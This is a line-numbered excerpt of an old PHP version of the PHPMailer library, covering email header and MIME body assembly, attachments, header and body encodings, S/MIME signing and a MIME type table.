2198 $foundSplitPos = true;
2199 }
2200 }
2201 return $maxLength;
2202 }
2203
2204 /**
2205 * Set the body wrapping.
2206 * @access private
2207 * @return void
2208 */
2209 function SetWordWrap() {
2210 if($this->WordWrap < 1) {
2211 return;
2212 }
2213
2214 switch($this->message_type) {
2215 case 'alt':
2216 /* fall through */
2217 case 'alt_attachments':
2218 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2219 break;
2220 default:
2221 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2222 break;
2223 }
2224 }
2225
2226 /**
2227 * Assembles message header.
2228 * @access private
2229 * @return string
2230 */
2231 function CreateHeader() {
2232 $result = '';
2233
2234 /* Set the boundaries */
2235 $uniq_id = md5(uniqid(time()));
2236 $this->boundary[1] = 'b1_' . $uniq_id;
2237 $this->boundary[2] = 'b2_' . $uniq_id;
2238
2239 $result .= $this->HeaderLine('Date', $this->RFCDate());
2240 if($this->Sender == '') {
2241 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2242 } else {
2243 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2244 }
2245
2246 /* To be created automatically by mail() */
2247 if($this->Mailer != 'mail') {
2248 if(count($this->to) > 0) {
2249 $result .= $this->AddrAppend('To', $this->to);
2250 } elseif (count($this->cc) == 0) {
2251 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2252 }
2253 if(count($this->cc) > 0) {
2254 $result .= $this->AddrAppend('Cc', $this->cc);
2255 }
2256 }
2257
2258 $from = array();
2259 $from[0][0] = trim($this->From);
2260 $from[0][1] = $this->FromName;
2261 $result .= $this->AddrAppend('From', $from);
2262
2263 /* sendmail and mail() extract Cc from the header before sending */
2264 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2265 $result .= $this->AddrAppend('Cc', $this->cc);
2266 }
2267
2268 /* sendmail and mail() extract Bcc from the header before sending */
2269 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2270 $result .= $this->AddrAppend('Bcc', $this->bcc);
2271 }
2272
2273 if(count($this->ReplyTo) > 0) {
2274 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2275 }
2276
2277 /* mail() sets the subject itself */
2278 if($this->Mailer != 'mail') {
2279 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2280 }
2281
2282 if($this->MessageID != '') {
2283 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2284 } else {
2285 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2286 }
2287 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2288 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2289
2290 if($this->ConfirmReadingTo != '') {
2291 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2292 }
2293
2294 // Add custom headers
2295 for($index = 0; $index < count($this->CustomHeader); $index++) {
2296 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2297 }
2298 if (!$this->sign_key_file) {
2299 $result .= $this->HeaderLine('MIME-Version', '1.0');
2300 $result .= $this->GetMailMIME();
2301 }
2302
2303 return $result;
2304 }
2305
2306 /**
2307 * Returns the message MIME.
2308 * @access private
2309 * @return string
2310 */
2311 function GetMailMIME() {
2312 $result = '';
2313 switch($this->message_type) {
2314 case 'plain':
2315 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2316 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2317 break;
2318 case 'attachments':
2319 /* fall through */
2320 case 'alt_attachments':
2321 if($this->InlineImageExists()){
2322 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2323 } else {
2324 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2325 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2326 }
2327 break;
2328 case 'alt':
2329 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2330 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2331 break;
2332 }
2333
2334 if($this->Mailer != 'mail') {
2335 $result .= $this->LE.$this->LE;
2336 }
2337
2338 return $result;
2339 }
2340
2341 /**
2342 * Assembles the message body. Returns an empty string on failure.
2343 * @access private
2344 * @return string
2345 */
2346 function CreateBody() {
2347 $result = '';
2348 if ($this->sign_key_file) {
2349 $result .= $this->GetMailMIME();
2350 }
2351
2352 $this->SetWordWrap();
2353
2354 switch($this->message_type) {
2355 case 'alt':
2356 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2357 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2358 $result .= $this->LE.$this->LE;
2359 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2360 $result .= $this->EncodeString($this->Body, $this->Encoding);
2361 $result .= $this->LE.$this->LE;
2362 $result .= $this->EndBoundary($this->boundary[1]);
2363 break;
2364 case 'plain':
2365 $result .= $this->EncodeString($this->Body, $this->Encoding);
2366 break;
2367 case 'attachments':
2368 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2369 $result .= $this->EncodeString($this->Body, $this->Encoding);
2370 $result .= $this->LE;
2371 $result .= $this->AttachAll();
2372 break;
2373 case 'alt_attachments':
2374 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2375 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2376 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2377 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2378 $result .= $this->LE.$this->LE;
2379 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2380 $result .= $this->EncodeString($this->Body, $this->Encoding);
2381 $result .= $this->LE.$this->LE;
2382 $result .= $this->EndBoundary($this->boundary[2]);
2383 $result .= $this->AttachAll();
2384 break;
2385 }
2386
2387 if($this->IsError()) {
2388 $result = '';
2389 } else if ($this->sign_key_file) {
2390 $file = tempnam("", "mail");
2391 $fp = fopen($file, "w");
2392 fwrite($fp, $result);
2393 fclose($fp);
2394 $signed = tempnam("", "signed");
2395
2396 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2397 $fp = fopen($signed, "r");
2398 $result = fread($fp, filesize($this->sign_key_file));
2399 fclose($fp);
2400 } else {
2401 $this->SetError($this->Lang("signing").openssl_error_string());
2402 $result = '';
2403 }
2404
2405 unlink($file);
2406 unlink($signed);
2407 }
2408
2409 return $result;
2410 }
2411
2412 /**
2413 * Returns the start of a message boundary.
2414 * @access private
2415 */
2416 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2417 $result = '';
2418 if($charSet == '') {
2419 $charSet = $this->CharSet;
2420 }
2421 if($contentType == '') {
2422 $contentType = $this->ContentType;
2423 }
2424 if($encoding == '') {
2425 $encoding = $this->Encoding;
2426 }
2427 $result .= $this->TextLine('--' . $boundary);
2428 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2429 $result .= $this->LE;
2430 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2431 $result .= $this->LE;
2432
2433 return $result;
2434 }
2435
2436 /**
2437 * Returns the end of a message boundary.
2438 * @access private
2439 */
2440 function EndBoundary($boundary) {
2441 return $this->LE . '--' . $boundary . '--' . $this->LE;
2442 }
2443
2444 /**
2445 * Sets the message type.
2446 * @access private
2447 * @return void
2448 */
2449 function SetMessageType() {
2450 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2451 $this->message_type = 'plain';
2452 } else {
2453 if(count($this->attachment) > 0) {
2454 $this->message_type = 'attachments';
2455 }
2456 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2457 $this->message_type = 'alt';
2458 }
2459 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2460 $this->message_type = 'alt_attachments';
2461 }
2462 }
2463 }
2464
2465 /* Returns a formatted header line.
2466 * @access private
2467 * @return string
2468 */
2469 function HeaderLine($name, $value) {
2470 return $name . ': ' . $value . $this->LE;
2471 }
2472
2473 /**
2474 * Returns a formatted mail line.
2475 * @access private
2476 * @return string
2477 */
2478 function TextLine($value) {
2479 return $value . $this->LE;
2480 }
2481
2482 /////////////////////////////////////////////////
2483 // CLASS METHODS, ATTACHMENTS
2484 /////////////////////////////////////////////////
2485
2486 /**
2487 * Adds an attachment from a path on the filesystem.
2488 * Returns false if the file could not be found
2489 * or accessed.
2490 * @param string $path Path to the attachment.
2491 * @param string $name Overrides the attachment name.
2492 * @param string $encoding File encoding (see $Encoding).
2493 * @param string $type File extension (MIME) type.
2494 * @return bool
2495 */
2496 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2497 if(!@is_file($path)) {
2498 $this->SetError($this->Lang('file_access') . $path);
2499 return false;
2500 }
2501
2502 $filename = basename($path);
2503 if($name == '') {
2504 $name = $filename;
2505 }
2506
2507 $cur = count($this->attachment);
2508 $this->attachment[$cur][0] = $path;
2509 $this->attachment[$cur][1] = $filename;
2510 $this->attachment[$cur][2] = $name;
2511 $this->attachment[$cur][3] = $encoding;
2512 $this->attachment[$cur][4] = $type;
2513 $this->attachment[$cur][5] = false; // isStringAttachment
2514 $this->attachment[$cur][6] = 'attachment';
2515 $this->attachment[$cur][7] = 0;
2516
2517 return true;
2518 }
2519
2520 /**
2521 * Attaches all fs, string, and binary attachments to the message.
2522 * Returns an empty string on failure.
2523 * @access private
2524 * @return string
2525 */
2526 function AttachAll() {
2527 /* Return text of body */
2528 $mime = array();
2529
2530 /* Add all attachments */
2531 for($i = 0; $i < count($this->attachment); $i++) {
2532 /* Check for string attachment */
2533 $bString = $this->attachment[$i][5];
2534 if ($bString) {
2535 $string = $this->attachment[$i][0];
2536 } else {
2537 $path = $this->attachment[$i][0];
2538 }
2539
2540 $filename = $this->attachment[$i][1];
2541 $name = $this->attachment[$i][2];
2542 $encoding = $this->attachment[$i][3];
2543 $type = $this->attachment[$i][4];
2544 $disposition = $this->attachment[$i][6];
2545 $cid = $this->attachment[$i][7];
2546
2547 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2548 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2549 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2550
2551 if($disposition == 'inline') {
2552 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2553 }
2554
2555 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2556
2557 /* Encode as string attachment */
2558 if($bString) {
2559 $mime[] = $this->EncodeString($string, $encoding);
2560 if($this->IsError()) {
2561 return '';
2562 }
2563 $mime[] = $this->LE.$this->LE;
2564 } else {
2565 $mime[] = $this->EncodeFile($path, $encoding);
2566 if($this->IsError()) {
2567 return '';
2568 }
2569 $mime[] = $this->LE.$this->LE;
2570 }
2571 }
2572
2573 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2574
2575 return join('', $mime);
2576 }
2577
2578 /**
2579 * Encodes attachment in requested format. Returns an
2580 * empty string on failure.
2581 * @access private
2582 * @return string
2583 */
2584 function EncodeFile ($path, $encoding = 'base64') {
2585 if(!@$fd = fopen($path, 'rb')) {
2586 $this->SetError($this->Lang('file_open') . $path);
2587 return '';
2588 }
2589 $magic_quotes = get_magic_quotes_runtime();
2590 set_magic_quotes_runtime(0);
2591 $file_buffer = fread($fd, filesize($path));
2592 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2593 fclose($fd);
2594 set_magic_quotes_runtime($magic_quotes);
2595
2596 return $file_buffer;
2597 }
2598
2599 /**
2600 * Encodes string to requested format. Returns an
2601 * empty string on failure.
2602 * @access private
2603 * @return string
2604 */
2605 function EncodeString ($str, $encoding = 'base64') {
2606 $encoded = '';
2607 switch(strtolower($encoding)) {
2608 case 'base64':
2609 /* chunk_split is found in PHP >= 3.0.6 */
2610 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2611 break;
2612 case '7bit':
2613 case '8bit':
2614 $encoded = $this->FixEOL($str);
2615 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2616 $encoded .= $this->LE;
2617 break;
2618 case 'binary':
2619 $encoded = $str;
2620 break;
2621 case 'quoted-printable':
2622 $encoded = $this->EncodeQP($str);
2623 break;
2624 default:
2625 $this->SetError($this->Lang('encoding') . $encoding);
2626 break;
2627 }
2628 return $encoded;
2629 }
2630
2631 /**
2632 * Encode a header string to best of Q, B, quoted or none.
2633 * @access private
2634 * @return string
2635 */
2636 function EncodeHeader ($str, $position = 'text') {
2637 $x = 0;
2638
2639 switch (strtolower($position)) {
2640 case 'phrase':
2641 if (!preg_match('/[\200-\377]/', $str)) {
2642 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2643 $encoded = addcslashes($str, "\0..\37\177\\\"");
2644 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2645 return ($encoded);
2646 } else {
2647 return ("\"$encoded\"");
2648 }
2649 }
2650 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2651 break;
2652 case 'comment':
2653 $x = preg_match_all('/[()"]/', $str, $matches);
2654 /* Fall-through */
2655 case 'text':
2656 default:
2657 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2658 break;
2659 }
2660
2661 if ($x == 0) {
2662 return ($str);
2663 }
2664
2665 $maxlen = 75 - 7 - strlen($this->CharSet);
2666 /* Try to select the encoding which should produce the shortest output */
2667 if (strlen($str)/3 < $x) {
2668 $encoding = 'B';
2669 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2670 // Use a custom function which correctly encodes and wraps long
2671 // multibyte strings without breaking lines within a character
2672 $encoded = $this->Base64EncodeWrapMB($str);
2673 } else {
2674 $encoded = base64_encode($str);
2675 $maxlen -= $maxlen % 4;
2676 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2677 }
2678 } else {
2679 $encoding = 'Q';
2680 $encoded = $this->EncodeQ($str, $position);
2681 $encoded = $this->WrapText($encoded, $maxlen, true);
2682 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2683 }
2684
2685 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2686 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2687
2688 return $encoded;
2689 }
2690
2691 /**
2692 * Checks if a string contains multibyte characters.
2693 * @access private
2694 * @param string $str multi-byte text to wrap encode
2695 * @return bool
2696 */
2697 function HasMultiBytes($str) {
2698 if (function_exists('mb_strlen')) {
2699 return (strlen($str) > mb_strlen($str, $this->CharSet));
2700 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2701 return False;
2702 }
2703 }
2704
2705 /**
2706 * Correctly encodes and wraps long multibyte strings for mail headers
2707 * without breaking lines within a character.
2708 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2709 * @access private
2710 * @param string $str multi-byte text to wrap encode
2711 * @return string
2712 */
2713 function Base64EncodeWrapMB($str) {
2714 $start = "=?".$this->CharSet."?B?";
2715 $end = "?=";
2716 $encoded = "";
2717
2718 $mb_length = mb_strlen($str, $this->CharSet);
2719 // Each line must have length <= 75, including $start and $end
2720 $length = 75 - strlen($start) - strlen($end);
2721 // Average multi-byte ratio
2722 $ratio = $mb_length / strlen($str);
2723 // Base64 has a 4:3 ratio
2724 $offset = $avgLength = floor($length * $ratio * .75);
2725
2726 for ($i = 0; $i < $mb_length; $i += $offset) {
2727 $lookBack = 0;
2728
2729 do {
2730 $offset = $avgLength - $lookBack;
2731 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2732 $chunk = base64_encode($chunk);
2733 $lookBack++;
2734 }
2735 while (strlen($chunk) > $length);
2736
2737 $encoded .= $chunk . $this->LE;
2738 }
2739
2740 // Chomp the last linefeed
2741 $encoded = substr($encoded, 0, -strlen($this->LE));
2742 return $encoded;
2743 }
2744
2745 /**
2746 * Encode string to quoted-printable.
2747 * @access private
2748 * @return string
2749 */
2750 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2751 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2752 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2753 $eol = "\r\n";
2754 $escape = '=';
2755 $output = '';
2756 while( list(, $line) = each($lines) ) {
2757 $linlen = strlen($line);
2758 $newline = '';
2759 for($i = 0; $i < $linlen; $i++) {
2760 $c = substr( $line, $i, 1 );
2761 $dec = ord( $c );
2762 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2763 $c = '=2E';
2764 }
2765 if ( $dec == 32 ) {
2766 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2767 $c = '=20';
2768 } else if ( $space_conv ) {
2769 $c = '=20';
2770 }
2771 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2772 $h2 = floor($dec/16);
2773 $h1 = floor($dec%16);
2774 $c = $escape.$hex[$h2].$hex[$h1];
2775 }
2776 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2777 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2778 $newline = '';
2779 // check if newline first character will be point or not
2780 if ( $dec == 46 ) {
2781 $c = '=2E';
2782 }
2783 }
2784 $newline .= $c;
2785 } // end of for
2786 $output .= $newline.$eol;
2787 } // end of while
2788 return trim($output);
2789 }
2790
2791 /**
2792 * Encode string to q encoding.
2793 * @access private
2794 * @return string
2795 */
2796 function EncodeQ ($str, $position = 'text') {
2797 /* There should not be any EOL in the string */
2798 $encoded = preg_replace("[\r\n]", '', $str);
2799
2800 switch (strtolower($position)) {
2801 case 'phrase':
2802 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2803 break;
2804 case 'comment':
2805 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2806 case 'text':
2807 default:
2808 /* Replace every high ascii, control =, ? and _ characters */
2809 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2810 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2811 break;
2812 }
2813
2814 /* Replace every spaces to _ (more readable than =20) */
2815 $encoded = str_replace(' ', '_', $encoded);
2816
2817 return $encoded;
2818 }
2819
2820 /**
2821 * Adds a string or binary attachment (non-filesystem) to the list.
2822 * This method can be used to attach ascii or binary data,
2823 * such as a BLOB record from a database.
2824 * @param string $string String attachment data.
2825 * @param string $filename Name of the attachment.
2826 * @param string $encoding File encoding (see $Encoding).
2827 * @param string $type File extension (MIME) type.
2828 * @return void
2829 */
2830 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2831 /* Append to $attachment array */
2832 $cur = count($this->attachment);
2833 $this->attachment[$cur][0] = $string;
2834 $this->attachment[$cur][1] = $filename;
2835 $this->attachment[$cur][2] = $filename;
2836 $this->attachment[$cur][3] = $encoding;
2837 $this->attachment[$cur][4] = $type;
2838 $this->attachment[$cur][5] = true; // isString
2839 $this->attachment[$cur][6] = 'attachment';
2840 $this->attachment[$cur][7] = 0;
2841 }
2842
2843 /**
2844 * Adds an embedded attachment. This can include images, sounds, and
2845 * just about any other document. Make sure to set the $type to an
2846 * image type. For JPEG images use "image/jpeg" and for GIF images
2847 * use "image/gif".
2848 * @param string $path Path to the attachment.
2849 * @param string $cid Content ID of the attachment. Use this to identify
2850 * the Id for accessing the image in an HTML form.
2851 * @param string $name Overrides the attachment name.
2852 * @param string $encoding File encoding (see $Encoding).
2853 * @param string $type File extension (MIME) type.
2854 * @return bool
2855 */
2856 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2857
2858 if(!@is_file($path)) {
2859 $this->SetError($this->Lang('file_access') . $path);
2860 return false;
2861 }
2862
2863 $filename = basename($path);
2864 if($name == '') {
2865 $name = $filename;
2866 }
2867
2868 /* Append to $attachment array */
2869 $cur = count($this->attachment);
2870 $this->attachment[$cur][0] = $path;
2871 $this->attachment[$cur][1] = $filename;
2872 $this->attachment[$cur][2] = $name;
2873 $this->attachment[$cur][3] = $encoding;
2874 $this->attachment[$cur][4] = $type;
2875 $this->attachment[$cur][5] = false;
2876 $this->attachment[$cur][6] = 'inline';
2877 $this->attachment[$cur][7] = $cid;
2878
2879 return true;
2880 }
2881
2882 /**
2883 * Returns true if an inline attachment is present.
2884 * @access private
2885 * @return bool
2886 */
2887 function InlineImageExists() {
2888 $result = false;
2889 for($i = 0; $i < count($this->attachment); $i++) {
2890 if($this->attachment[$i][6] == 'inline') {
2891 $result = true;
2892 break;
2893 }
2894 }
2895
2896 return $result;
2897 }
2898
2899 /////////////////////////////////////////////////
2900 // CLASS METHODS, MESSAGE RESET
2901 /////////////////////////////////////////////////
2902
2903 /**
2904 * Clears all recipients assigned in the TO array. Returns void.
2905 * @return void
2906 */
2907 function ClearAddresses() {
2908 $this->to = array();
2909 }
2910
2911 /**
2912 * Clears all recipients assigned in the CC array. Returns void.
2913 * @return void
2914 */
2915 function ClearCCs() {
2916 $this->cc = array();
2917 }
2918
2919 /**
2920 * Clears all recipients assigned in the BCC array. Returns void.
2921 * @return void
2922 */
2923 function ClearBCCs() {
2924 $this->bcc = array();
2925 }
2926
2927 /**
2928 * Clears all recipients assigned in the ReplyTo array. Returns void.
2929 * @return void
2930 */
2931 function ClearReplyTos() {
2932 $this->ReplyTo = array();
2933 }
2934
2935 /**
2936 * Clears all recipients assigned in the TO, CC and BCC
2937 * array. Returns void.
2938 * @return void
2939 */
2940 function ClearAllRecipients() {
2941 $this->to = array();
2942 $this->cc = array();
2943 $this->bcc = array();
2944 }
2945
2946 /**
2947 * Clears all previously set filesystem, string, and binary
2948 * attachments. Returns void.
2949 * @return void
2950 */
2951 function ClearAttachments() {
2952 $this->attachment = array();
2953 }
2954
2955 /**
2956 * Clears all custom headers. Returns void.
2957 * @return void
2958 */
2959 function ClearCustomHeaders() {
2960 $this->CustomHeader = array();
2961 }
2962
2963 /////////////////////////////////////////////////
2964 // CLASS METHODS, MISCELLANEOUS
2965 /////////////////////////////////////////////////
2966
2967 /**
2968 * Adds the error message to the error container.
2969 * Returns void.
2970 * @access private
2971 * @return void
2972 */
2973 function SetError($msg) {
2974 $this->error_count++;
2975 $this->ErrorInfo = $msg;
2976 }
2977
2978 /**
2979 * Returns the proper RFC 822 formatted date.
2980 * @access private
2981 * @return string
2982 */
2983 function RFCDate() {
2984 $tz = date('Z');
2985 $tzs = ($tz < 0) ? '-' : '+';
2986 $tz = abs($tz);
2987 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2988 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2989
2990 return $result;
2991 }
2992
2993 /**
2994 * Returns the appropriate server variable. Should work with both
2995 * PHP 4.1.0+ as well as older versions. Returns an empty string
2996 * if nothing is found.
2997 * @access private
2998 * @return mixed
2999 */
3000 function ServerVar($varName) {
3001 global $HTTP_SERVER_VARS;
3002 global $HTTP_ENV_VARS;
3003
3004 if(!isset($_SERVER)) {
3005 $_SERVER = $HTTP_SERVER_VARS;
3006 if(!isset($_SERVER['REMOTE_ADDR'])) {
3007 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3008 }
3009 }
3010
3011 if(isset($_SERVER[$varName])) {
3012 return $_SERVER[$varName];
3013 } else {
3014 return '';
3015 }
3016 }
3017
3018 /**
3019 * Returns the server hostname or 'localhost.localdomain' if unknown.
3020 * @access private
3021 * @return string
3022 */
3023 function ServerHostname() {
3024 if ($this->Hostname != '') {
3025 $result = $this->Hostname;
3026 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3027 $result = $this->ServerVar('SERVER_NAME');
3028 } else {
3029 $result = 'localhost.localdomain';
3030 }
3031
3032 return $result;
3033 }
3034
3035 /**
3036 * Returns a message in the appropriate language.
3037 * @access private
3038 * @return string
3039 */
3040 function Lang($key) {
3041 if(count($this->language) < 1) {
3042 $this->SetLanguage('en'); // set the default language
3043 }
3044
3045 if(isset($this->language[$key])) {
3046 return $this->language[$key];
3047 } else {
3048 return 'Language string failed to load: ' . $key;
3049 }
3050 }
3051
3052 /**
3053 * Returns true if an error occurred.
3054 * @return bool
3055 */
3056 function IsError() {
3057 return ($this->error_count > 0);
3058 }
3059
3060 /**
3061 * Changes every end of line from CR or LF to CRLF.
3062 * @access private
3063 * @return string
3064 */
3065 function FixEOL($str) {
3066 $str = str_replace("\r\n", "\n", $str);
3067 $str = str_replace("\r", "\n", $str);
3068 $str = str_replace("\n", $this->LE, $str);
3069 return $str;
3070 }
3071
3072 /**
3073 * Adds a custom header.
3074 * @return void
3075 */
3076 function AddCustomHeader($custom_header) {
3077 $this->CustomHeader[] = explode(':', $custom_header, 2);
3078 }
3079
3080 /**
3081 * Evaluates the message and returns modifications for inline images and backgrounds
3082 * @access public
3083 * @return $message
3084 */
3085 function MsgHTML($message,$basedir='') {
3086 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3087 if(isset($images[2])) {
3088 foreach($images[2] as $i => $url) {
3089 // do not change urls for absolute images (thanks to corvuscorax)
3090 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3091 $filename = basename($url);
3092 $directory = dirname($url);
3093 ($directory == '.')?$directory='':'';
3094 $cid = 'cid:' . md5($filename);
3095 $fileParts = split("\.", $filename);
3096 $ext = $fileParts[1];
3097 $mimeType = $this->_mime_types($ext);
3098 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3099 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3100 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3101 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3102 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3103 }
3104 }
3105 }
3106 }
3107 $this->IsHTML(true);
3108 $this->Body = $message;
3109 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3110 if ( !empty($textMsg) && empty($this->AltBody) ) {
3111 $this->AltBody = $textMsg;
3112 }
3113 if ( empty($this->AltBody) ) {
3114 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3115 }
3116 }
3117
3118 /**
3119 * Gets the mime type of the embedded or inline image
3120 * @access private
3121 * @return mime type of ext
3122 */
3123 function _mime_types($ext = '') {
3124 $mimes = array(
3125 'hqx' => 'application/mac-binhex40',
3126 'cpt' => 'application/mac-compactpro',
3127 'doc' => 'application/msword',
3128 'bin' => 'application/macbinary',
3129 'dms' => 'application/octet-stream',
3130 'lha' => 'application/octet-stream',
3131 'lzh' => 'application/octet-stream',
3132 'exe' => 'application/octet-stream',
3133 'class' => 'application/octet-stream',
3134 'psd' => 'application/octet-stream',
3135 'so' => 'application/octet-stream',
3136 'sea' => 'application/octet-stream',
3137 'dll' => 'application/octet-stream',
3138 'oda' => 'application/oda',
3139 'pdf' => 'application/pdf',
3140 'ai' => 'application/postscript',
3141 'eps' => 'application/postscript',
3142 'ps' => 'application/postscript',
3143 'smi' => 'application/smil',
3144 'smil' => 'application/smil',
3145 'mif' => 'application/vnd.mif',
3146 'xls' => 'application/vnd.ms-excel',
3147 'ppt' => 'application/vnd.ms-powerpoint',
3148 'wbxml' => 'application/vnd.wap.wbxml',
3149 'wmlc' => 'application/vnd.wap.wmlc',
3150 'dcr' => 'application/x-director',
3151 'dir' => 'application/x-director',
3152 'dxr' => 'application/x-director',
3153 'dvi' => 'application/x-dvi',
3154 'gtar' => 'application/x-gtar',
3155 'php' => 'application/x-httpd-php',
3156 'php4' => 'application/x-httpd-php',
3157 'php3' => 'application/x-httpd-php',
3158 'phtml' => 'application/x-httpd-php',
3159 'phps' => 'application/x-httpd-php-source',
3160 'js' => 'application/x-javascript',
3161 'swf' => 'application/x-shockwave-flash',
3162 'sit' => 'application/x-stuffit',
3163 'tar' => 'application/x-tar',
3164 'tgz' => 'application/x-tar',
3165 'xhtml' => 'application/xhtml+xml',
3166 'xht' => 'application/xhtml+xml',
3167 'zip' => 'application/zip',
3168 'mid' => 'audio/midi',
3169 'midi' => 'audio/midi',
3170 'mpga' => 'audio/mpeg',
3171 'mp2' => 'audio/mpeg',
3172 'mp3' => 'audio/mpeg',
3173 'aif' => 'audio/x-aiff',
3174 'aiff' => 'audio/x-aiff',
3175 'aifc' => 'audio/x-aiff',
3176 'ram' => 'audio/x-pn-realaudio',
3177 'rm' => 'audio/x-pn-realaudio',
3178 'rpm' => 'audio/x-pn-realaudio-plugin',
3179 'ra' => 'audio/x-realaudio',
3180 'rv' => 'video/vnd.rn-realvideo',
3181 'wav' => 'audio/x-wav',
3182 'bmp' => 'image/bmp',
